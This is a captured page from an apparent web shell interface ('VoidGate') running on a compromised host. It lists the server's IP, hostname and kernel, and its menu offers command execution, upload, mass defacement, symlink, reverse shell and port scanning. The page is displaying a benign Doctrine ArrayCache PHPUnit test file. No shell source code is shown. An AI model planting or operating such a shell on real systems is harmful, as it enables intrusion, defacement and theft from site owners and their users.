ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
doctrine
/
cache
/
tests
/
Doctrine
/
Tests
/
Common
/
Cache
/
Viewing: ArrayCacheTest.php
<?php namespace Doctrine\Tests\Common\Cache; use Doctrine\Common\Cache\ArrayCache; use Doctrine\Common\Cache\Cache; class ArrayCacheTest extends CacheTest { protected function _getCacheDriver() { return new ArrayCache(); } public function testGetStats() { $cache = $this->_getCacheDriver(); $cache->fetch('test1'); $cache->fetch('test2'); $cache->fetch('test3'); $cache->save('test1', 123); $cache->save('test2', 123); $cache->fetch('test1'); $cache->fetch('test2'); $cache->fetch('test3'); $stats = $cache->getStats(); $this->assertEquals(2, $stats[Cache::STATS_HITS]); $this->assertEquals(5, $stats[Cache::STATS_MISSES]); // +1 for internal call to DoctrineNamespaceCacheKey $this->assertNotNull($stats[Cache::STATS_UPTIME]); $this->assertNull($stats[Cache::STATS_MEMORY_USAGE]); $this->assertNull($stats[Cache::STATS_MEMORY_AVAILABLE]); $cache->delete('test1'); $cache->delete('test2'); $cache->fetch('test1'); $cache->fetch('test2'); $cache->fetch('test3'); $stats = $cache->getStats(); $this->assertEquals(2, $stats[Cache::STATS_HITS]); $this->assertEquals(8, $stats[Cache::STATS_MISSES]); // +1 for internal call to DoctrineNamespaceCacheKey } protected function isSharedStorage() { return false; } }
Coded With 💗 by
0x6ick